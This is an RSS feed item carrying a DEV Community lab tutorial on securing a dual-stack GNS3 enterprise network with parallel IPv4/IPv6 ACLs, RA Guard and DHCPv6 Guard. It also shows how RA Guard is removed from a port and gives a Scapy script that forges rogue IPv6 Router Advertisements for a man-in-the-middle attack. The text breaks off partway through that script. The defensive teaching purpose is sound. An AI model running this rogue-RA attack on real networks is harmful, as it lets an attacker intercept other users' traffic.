<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Ahmed El euch</title>
    <description>The latest articles on DEV Community by Ahmed El euch (@ahmedeleuch).</description>
    <link>https://dev.to/ahmedeleuch</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4005854%2F3419706a-7901-424d-b6de-62b81469fca7.png</url>
      <title>DEV Community: Ahmed El euch</title>
      <link>https://dev.to/ahmedeleuch</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/ahmedeleuch"/>
    <language>en</language>
    <item>
      <title>How I Built a Dual-Stack Enterprise Network and Demonstrated an IPv6 Hijack Attack (with Full Mitigation)</title>
      <dc:creator>Ahmed El euch</dc:creator>
      <pubDate>Sun, 28 Jun 2026 19:50:17 +0000</pubDate>
      <link>https://dev.to/ahmedeleuch/how-i-built-a-dual-stack-enterprise-network-and-demonstrated-an-ipv6-hijack-attack-with-full-3faa</link>
      <guid>https://dev.to/ahmedeleuch/how-i-built-a-dual-stack-enterprise-network-and-demonstrated-an-ipv6-hijack-attack-with-full-3faa</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;I set up a full dual-stack enterprise network in GNS3, launched a silent IPv6 man-in-the-middle attack using nothing but a Python script — and then shut it down completely with a single switch policy. This post walks through every step: the topology, the ACLs, the attack, and the mitigation.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Table of Contents
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;What This Project Is About&lt;/li&gt;
&lt;li&gt;The Threat: SLAAC Abuse&lt;/li&gt;
&lt;li&gt;Lab Setup&lt;/li&gt;
&lt;li&gt;Network Topology and Addressing&lt;/li&gt;
&lt;li&gt;Dual-Stack Configuration&lt;/li&gt;
&lt;li&gt;Parallel ACL Policy — IPv4 and IPv6&lt;/li&gt;
&lt;li&gt;RA Guard Deployment&lt;/li&gt;
&lt;li&gt;The Attack: Live SLAAC Hijack from Kali Linux&lt;/li&gt;
&lt;li&gt;Mitigation and Verification&lt;/li&gt;
&lt;li&gt;Lessons Learned&lt;/li&gt;
&lt;li&gt;Final Results&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  1. What This Project Is About
&lt;/h2&gt;

&lt;p&gt;Most enterprise security teams have years of experience hardening IPv4. Firewalls, ACLs, ARP inspection, DHCP snooping — the whole stack is mature and well-understood.&lt;/p&gt;

&lt;p&gt;But IPv6? It's usually an afterthought.&lt;/p&gt;

&lt;p&gt;The problem is that dual-stack networks run both protocols simultaneously on the same physical links. If your IPv4 controls are airtight but your IPv6 is unmonitored, an attacker on the same segment can bypass everything — silently — using protocols and attack techniques that didn't exist when your security policy was written.&lt;/p&gt;

&lt;p&gt;This project addresses that gap from scratch. Here's what I built and proved:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;✅ A full multi-VLAN dual-stack enterprise network in GNS3&lt;/li&gt;
&lt;li&gt;✅ Parallel ACL policies that give IPv6 the same level of control as IPv4&lt;/li&gt;
&lt;li&gt;✅ A live SLAAC abuse attack that silently hijacks all IPv6 traffic on a segment&lt;/li&gt;
&lt;li&gt;✅ RA Guard mitigation that kills the attack with zero host-side changes&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let's get into it.&lt;/p&gt;




&lt;h2&gt;
  
  
  2. The Threat: SLAAC Abuse
&lt;/h2&gt;

&lt;p&gt;Before the configs, you need to understand &lt;em&gt;why&lt;/em&gt; IPv6 is a problem.&lt;/p&gt;

&lt;p&gt;In IPv4, getting a network address requires either manual config or a DHCP server. In IPv6, there's a third option called &lt;strong&gt;SLAAC — Stateless Address Autoconfiguration (RFC 4862)&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Here's how it works normally:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;A router periodically broadcasts a &lt;strong&gt;Router Advertisement (RA)&lt;/strong&gt; — an ICMPv6 type-134 packet — to the all-nodes multicast address &lt;code&gt;ff02::1&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;The RA contains a prefix (e.g. &lt;code&gt;2001:db8:2:10::/64&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Every host on the segment receives it and &lt;strong&gt;automatically generates its own IPv6 address&lt;/strong&gt; by appending a 64-bit interface ID to that prefix&lt;/li&gt;
&lt;li&gt;The router's link-local address becomes the host's default IPv6 gateway&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;This is elegant and stateless. It's also a security nightmare.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Here's the attack:&lt;/strong&gt; nothing stops any host on the segment from sending its own RA. If an attacker broadcasts a forged RA advertising a prefix they control, with themselves listed as the default gateway — every host on the segment will:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Auto-configure an IPv6 address in the attacker's prefix&lt;/li&gt;
&lt;li&gt;Install the attacker's link-local address as their default IPv6 route&lt;/li&gt;
&lt;li&gt;Forward all outbound IPv6 traffic through the attacker first&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The victims get &lt;strong&gt;no error, no warning, no prompt&lt;/strong&gt;. The OS just follows RFC 4862 correctly. It's a full man-in-the-middle, achieved with a single Python script, requiring zero privileges on victim machines.&lt;/p&gt;

&lt;p&gt;This is exactly what I demonstrated in this lab.&lt;/p&gt;




&lt;h2&gt;
  
  
  3. Lab Setup
&lt;/h2&gt;

&lt;h3&gt;
  
  
  What You Need
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Component&lt;/th&gt;
&lt;th&gt;Details&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Simulator&lt;/td&gt;
&lt;td&gt;GNS3 2.x with GNS3 VM&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Router image&lt;/td&gt;
&lt;td&gt;Cisco IOSv (&lt;code&gt;vios-adventerprisek9-m.vmdk&lt;/code&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Switch image&lt;/td&gt;
&lt;td&gt;Cisco IOSvL2 (&lt;code&gt;vios_l2-adventerprisek9-m.vmdk&lt;/code&gt;) — &lt;strong&gt;IOS 15.2(4)S minimum&lt;/strong&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Attacker&lt;/td&gt;
&lt;td&gt;Kali Linux 2024 (GNS3 appliance)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Victims&lt;/td&gt;
&lt;td&gt;GNS3 VPCS × 3&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Attack tool&lt;/td&gt;
&lt;td&gt;Python 3 + Scapy 2.5&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;IOS version matters.&lt;/strong&gt; RA Guard — the primary mitigation — requires IOS 15.2(4)S or later on the switch. Check with &lt;code&gt;show version&lt;/code&gt; before starting. If your image is older, the RA Guard commands will silently do nothing.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  GNS3 Setup Steps
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;Install GNS3 from &lt;a href="https://www.gns3.com" rel="noopener noreferrer"&gt;gns3.com&lt;/a&gt; and configure the GNS3 VM&lt;/li&gt;
&lt;li&gt;Import your Cisco IOSv and IOSvL2 images via &lt;code&gt;Edit → Preferences → IOS on UNIX&lt;/code&gt;
&lt;/li&gt;
&lt;li&gt;Add Kali Linux from the GNS3 appliance marketplace (search "Kali")&lt;/li&gt;
&lt;li&gt;Create a new project: &lt;code&gt;File → New blank project → dual-stack-security&lt;/code&gt;
&lt;/li&gt;
&lt;/ol&gt;




&lt;h2&gt;
  
  
  4. Network Topology and Addressing
&lt;/h2&gt;

&lt;h3&gt;
  
  
  The Topology
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;          ┌─────────────────────────────┐
          │          CORE-RTR           │
          │   10.0.0.1 / 2001:db8::1   │
          └──────────────┬──────────────┘
                         │
                  802.1Q trunk
                  (VLANs 10, 99)
                         │
          ┌──────────────┴──────────────┐
          │           DIST-SW           │
          │  RA Guard · DHCPv6 Guard   │
          └──┬────┬────┬─────────────┬──┘
             │    │    │             │
           Gi0/1 Gi0/2 Gi0/3       Gi0/4
          VLAN10 VLAN10 VLAN10    VLAN99
           Corp1  Corp2  Corp3    Attacker
        10.1.0.10 .11   .12    172.16.0.10
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three-tier design:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;CORE-RTR&lt;/strong&gt; — inter-VLAN routing, default gateway for all VLANs, ACL enforcement point&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;DIST-SW&lt;/strong&gt; — VLAN segmentation, all Layer-2 IPv6 security controls live here&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Access layer&lt;/strong&gt; — Corp VPCS hosts (VLAN 10) and the isolated Kali attacker (VLAN 99)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  IP Addressing Plan
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Zone&lt;/th&gt;
&lt;th&gt;VLAN&lt;/th&gt;
&lt;th&gt;IPv4 Subnet&lt;/th&gt;
&lt;th&gt;IPv6 Prefix&lt;/th&gt;
&lt;th&gt;Gateway&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Corp users&lt;/td&gt;
&lt;td&gt;10&lt;/td&gt;
&lt;td&gt;&lt;code&gt;10.1.0.0/24&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;2001:db8:2:10::/64&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.1 / ::1&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Servers&lt;/td&gt;
&lt;td&gt;20&lt;/td&gt;
&lt;td&gt;&lt;code&gt;10.2.0.0/24&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;2001:db8:2:20::/64&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.1 / ::1&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;IoT / OT&lt;/td&gt;
&lt;td&gt;30&lt;/td&gt;
&lt;td&gt;&lt;code&gt;10.3.0.0/24&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;2001:db8:2:30::/64&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.1 / ::1&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Guest / Attacker&lt;/td&gt;
&lt;td&gt;99&lt;/td&gt;
&lt;td&gt;&lt;code&gt;172.16.0.0/24&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;2001:db8:99::/64&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;.1 / ::1&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;IPv6 prefixes use the &lt;code&gt;2001:db8::/32&lt;/code&gt; documentation range (RFC 3849), appropriate for labs. In production, replace with your allocated GUA space.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  5. Dual-Stack Configuration
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Core Router (CORE-RTR)
&lt;/h3&gt;

&lt;p&gt;The single most important command — and the most commonly forgotten:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;! WITHOUT THIS, the router silently drops all inter-interface IPv6 packets.
! No error is generated. Everything just disappears.
ipv6 unicast-routing
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;This is off by default on all Cisco routers. There's no warning when it's missing. I've seen experienced engineers spend an hour debugging IPv6 before realizing this line wasn't there.&lt;/p&gt;

&lt;p&gt;With that in place, configure the sub-interfaces for each VLAN:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;! Parent interface must be up first
interface GigabitEthernet0/1
  no shutdown

! VLAN 10 — Corp users
interface GigabitEthernet0/1.10
  description "Corp Users - VLAN 10"
  encapsulation dot1Q 10
  ip address 10.1.0.1 255.255.255.0        ! IPv4 gateway
  ipv6 address 2001:db8:2:10::1/64         ! IPv6 gateway
  ipv6 enable
  ipv6 nd prefix 2001:db8:2:10::/64        ! Advertise this prefix via SLAAC
  no shutdown

! VLAN 99 — Guest/Attacker (isolated)
interface GigabitEthernet0/1.99
  description "Guest / Attacker - VLAN 99"
  encapsulation dot1Q 99
  ip address 172.16.0.1 255.255.255.0
  ipv6 address 2001:db8:99::1/64
  ipv6 enable
  ipv6 nd ra suppress all                  ! No RAs on the attacker segment
  no shutdown
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The &lt;code&gt;ipv6 nd ra suppress all&lt;/code&gt; on VLAN 99 means the attacker node receives no legitimate IPv6 prefix — they only get a link-local address. Which makes their rogue RA even more obvious when we inspect the packet later.&lt;/p&gt;

&lt;h3&gt;
  
  
  Distribution Switch (DIST-SW)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;! Create VLANs
vlan 10
  name Corp-Users
vlan 99
  name Guest-Attacker

! Trunk to router — carries all VLANs
interface GigabitEthernet0/0
  description "Uplink to CORE-RTR"
  switchport trunk encapsulation dot1q
  switchport mode trunk
  switchport trunk allowed vlan 10,99
  no shutdown

! Corp access ports
interface range GigabitEthernet0/1-3
  switchport mode access
  switchport access vlan 10
  no shutdown

! Attacker port — isolated in VLAN 99
interface GigabitEthernet0/4
  description "Attacker-Kali"
  switchport mode access
  switchport access vlan 99
  no shutdown
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  6. Parallel ACL Policy — IPv4 and IPv6
&lt;/h2&gt;

&lt;p&gt;This is where most dual-stack networks fail. The IPv4 ACLs are thorough and well-maintained. The IPv6 ACLs either don't exist, or they're a half-hearted copy that misses critical rules.&lt;/p&gt;

&lt;p&gt;My approach: &lt;strong&gt;strict 1:1 parity&lt;/strong&gt;. Every IPv4 rule has an exact IPv6 counterpart at the same interface in the same direction. If you can't explain why a rule exists for IPv4 but not IPv6, it shouldn't be different.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Parity Matrix
&lt;/h3&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Security intent&lt;/th&gt;
&lt;th&gt;IPv4 rule&lt;/th&gt;
&lt;th&gt;IPv6 rule&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Allow established TCP return&lt;/td&gt;
&lt;td&gt;&lt;code&gt;established&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;established&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Allow DNS&lt;/td&gt;
&lt;td&gt;&lt;code&gt;eq 53&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;eq 53&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Allow HTTPS&lt;/td&gt;
&lt;td&gt;&lt;code&gt;eq 443&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;eq 443&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Allow ping&lt;/td&gt;
&lt;td&gt;&lt;code&gt;icmp echo&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;echo-request&lt;/code&gt; + &lt;code&gt;echo-reply&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Allow address resolution&lt;/td&gt;
&lt;td&gt;&lt;em&gt;(ARP is L2, invisible to ACLs)&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;
&lt;code&gt;nd-ns&lt;/code&gt;, &lt;code&gt;nd-na&lt;/code&gt; ⚠️&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Path MTU Discovery&lt;/td&gt;
&lt;td&gt;&lt;em&gt;(L3 fragmentation)&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;packet-too-big&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Block lateral movement&lt;/td&gt;
&lt;td&gt;&lt;code&gt;deny 172.16.0.0/12&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;deny 2001:db8:99::/64&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Anti-spoofing&lt;/td&gt;
&lt;td&gt;&lt;em&gt;(RFC 1918 filtering)&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;deny FE80::/10&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Implicit deny&lt;/td&gt;
&lt;td&gt;&lt;code&gt;deny ip any any log&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&lt;code&gt;deny ipv6 any any log&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The ⚠️ on &lt;code&gt;nd-ns&lt;/code&gt; and &lt;code&gt;nd-na&lt;/code&gt; is intentional. This is the most critical IPv6-specific rule, and it has no IPv4 equivalent:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;In IPv4, ARP operates at Layer 2 and is completely invisible to IP ACLs. In IPv6, Neighbor Discovery (NDP) — the replacement for ARP — runs &lt;em&gt;inside&lt;/em&gt; ICMPv6.&lt;/strong&gt; If you block ICMPv6 with a broad deny rule before explicitly permitting &lt;code&gt;nd-ns&lt;/code&gt; and &lt;code&gt;nd-na&lt;/code&gt;, hosts cannot resolve MAC addresses for any IPv6 destination. All IPv6 connectivity silently fails — even if your routing is perfectly configured.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  IPv4 ACL
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ip access-list extended ACL_V4_CORP_IN
  10 permit tcp any 10.1.0.0 0.0.0.255 established
  20 permit udp 10.1.0.0 0.0.0.255 host 10.2.0.53 eq 53
  30 permit tcp 10.1.0.0 0.0.0.255 host 10.2.0.53 eq 53
  40 permit tcp 10.1.0.0 0.0.0.255 any eq 443
  50 permit icmp 10.1.0.0 0.0.0.255 any echo
  60 deny   ip 10.1.0.0 0.0.0.255 172.16.0.0 0.0.255.255 log
  70 permit ip 10.1.0.0 0.0.0.255 any
  80 deny   ip any any log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  IPv6 ACL (mirror policy)
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ipv6 access-list ACL_V6_CORP_IN
  ! Mirrors of IPv4 rules 10-50
  permit tcp any 2001:DB8:2:10::/64 established
  permit udp 2001:DB8:2:10::/64 host 2001:DB8:2:20::53 eq 53
  permit tcp 2001:DB8:2:10::/64 host 2001:DB8:2:20::53 eq 53
  permit tcp 2001:DB8:2:10::/64 any eq 443

  ! IPv6-ONLY: NDP must be permitted BEFORE any deny
  permit icmp any any nd-ns           ! Neighbor Solicitation (= ARP request)
  permit icmp any any nd-na           ! Neighbor Advertisement (= ARP reply)
  permit icmp any any packet-too-big  ! Path MTU Discovery
  permit icmp any any echo-request
  permit icmp any any echo-reply

  ! Anti-spoofing: link-local addresses must never be routed
  deny   ipv6 FE80::/10 any log

  ! Mirror of IPv4 rule 60 — block lateral movement
  deny   ipv6 2001:DB8:99::/64 2001:DB8:2:10::/64 log

  ! Mirror of rules 70-80
  permit ipv6 2001:DB8:2:10::/64 any
  deny   ipv6 any any log
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Apply Both ACLs
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;interface GigabitEthernet0/1.10
  ip access-group ACL_V4_CORP_IN in
  ipv6 traffic-filter ACL_V6_CORP_IN in
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  7. RA Guard Deployment
&lt;/h2&gt;

&lt;p&gt;RA Guard (RFC 6105) is the primary mitigation against rogue RAs. It operates at the switch ASIC — not the CPU — which means it enforces at wire speed with no performance penalty.&lt;/p&gt;

&lt;p&gt;The concept is simple:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Ports connected to &lt;strong&gt;real routers&lt;/strong&gt; get a &lt;code&gt;router&lt;/code&gt; policy — RAs are forwarded&lt;/li&gt;
&lt;li&gt;Ports connected to &lt;strong&gt;hosts&lt;/strong&gt; get a &lt;code&gt;host&lt;/code&gt; policy — any RA is silently dropped before it reaches the wire
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;! Policy for the uplink port facing CORE-RTR
ipv6 nd raguard policy RAGUARD_ROUTER
  device-role router
  trusted-port

! Policy for ALL access ports — Corp AND attacker
ipv6 nd raguard policy RAGUARD_HOST
  device-role host    ! Any RA arriving here is DROPPED

! Apply router policy to the uplink
interface GigabitEthernet0/0
  ipv6 nd raguard attach-policy RAGUARD_ROUTER

! Apply host policy to all access ports
interface range GigabitEthernet0/1-4
  ipv6 nd raguard attach-policy RAGUARD_HOST
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;DHCPv6 Guard&lt;/strong&gt; was also deployed as a companion control — it blocks rogue DHCPv6 server replies on access ports, closing the other half of the stateful IPv6 attack surface:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;ipv6 dhcp guard policy DHCPV6_HOST
  device-role client

interface range GigabitEthernet0/1-4
  ipv6 dhcp guard attach-policy DHCPV6_HOST
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;A common mistake:&lt;/strong&gt; if you forget to attach &lt;code&gt;RAGUARD_ROUTER&lt;/code&gt; to the uplink (&lt;code&gt;Gi0/0&lt;/code&gt;), the real router's legitimate RAs are also dropped. Corp hosts never receive a prefix, SLAAC fails entirely, and it looks identical to a connectivity failure. Always verify both policies are attached.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  8. The Attack: Live SLAAC Hijack from Kali Linux
&lt;/h2&gt;

&lt;p&gt;This is the part that makes the risk concrete.&lt;/p&gt;

&lt;h3&gt;
  
  
  Setup on Kali
&lt;/h3&gt;

&lt;p&gt;First, configure the Kali node's interface (it's in VLAN 99, isolated from Corp):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo &lt;/span&gt;ip addr add 172.16.0.10/24 dev eth0
&lt;span class="nb"&gt;sudo &lt;/span&gt;ip &lt;span class="nb"&gt;link set &lt;/span&gt;eth0 up
&lt;span class="nb"&gt;sudo &lt;/span&gt;ip route add default via 172.16.0.1

&lt;span class="c"&gt;# Verify a link-local address was auto-generated (needed as the RA source)&lt;/span&gt;
ip &lt;span class="nt"&gt;-6&lt;/span&gt; addr show eth0
&lt;span class="c"&gt;# Should show: fe80::xxxx/64 scope link&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Disable RA Guard Temporarily (to demonstrate the attack)
&lt;/h3&gt;

&lt;p&gt;On DIST-SW, remove the guard from the attacker port:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;interface GigabitEthernet0/4
  no ipv6 nd raguard attach-policy RAGUARD_HOST
end
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  The Attack Script
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/env python3
# rogue_ra.py — SLAAC Abuse Demo
# For authorized lab use only — Ahmed El Euch
&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;scapy.all&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;

&lt;span class="n"&gt;rogue_ra&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;
    &lt;span class="nc"&gt;Ether&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;33:33:00:00:00:01&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;           &lt;span class="c1"&gt;# IPv6 all-nodes multicast MAC
&lt;/span&gt;    &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nc"&gt;IPv6&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;fe80::bad:1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;                   &lt;span class="c1"&gt;# Attacker's spoofed link-local
&lt;/span&gt;        &lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;ff02::1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;                        &lt;span class="c1"&gt;# All nodes on segment receive this
&lt;/span&gt;    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nc"&gt;ICMPv6ND_RA&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;M&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;                                 &lt;span class="c1"&gt;# SLAAC mode (not managed/DHCPv6)
&lt;/span&gt;        &lt;span class="n"&gt;routerlifetime&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;9000&lt;/span&gt;                  &lt;span class="c1"&gt;# "Trust me as your router for 2.5h"
&lt;/span&gt;    &lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nc"&gt;ICMPv6NDOptSrcLLAddr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lladdr&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nf"&gt;get_if_hwaddr&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;eth0&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
    &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nc"&gt;ICMPv6NDOptPrefixInfo&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
        &lt;span class="n"&gt;prefixlen&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;64&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
        &lt;span class="n"&gt;L&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;                                 &lt;span class="c1"&gt;# On-link flag
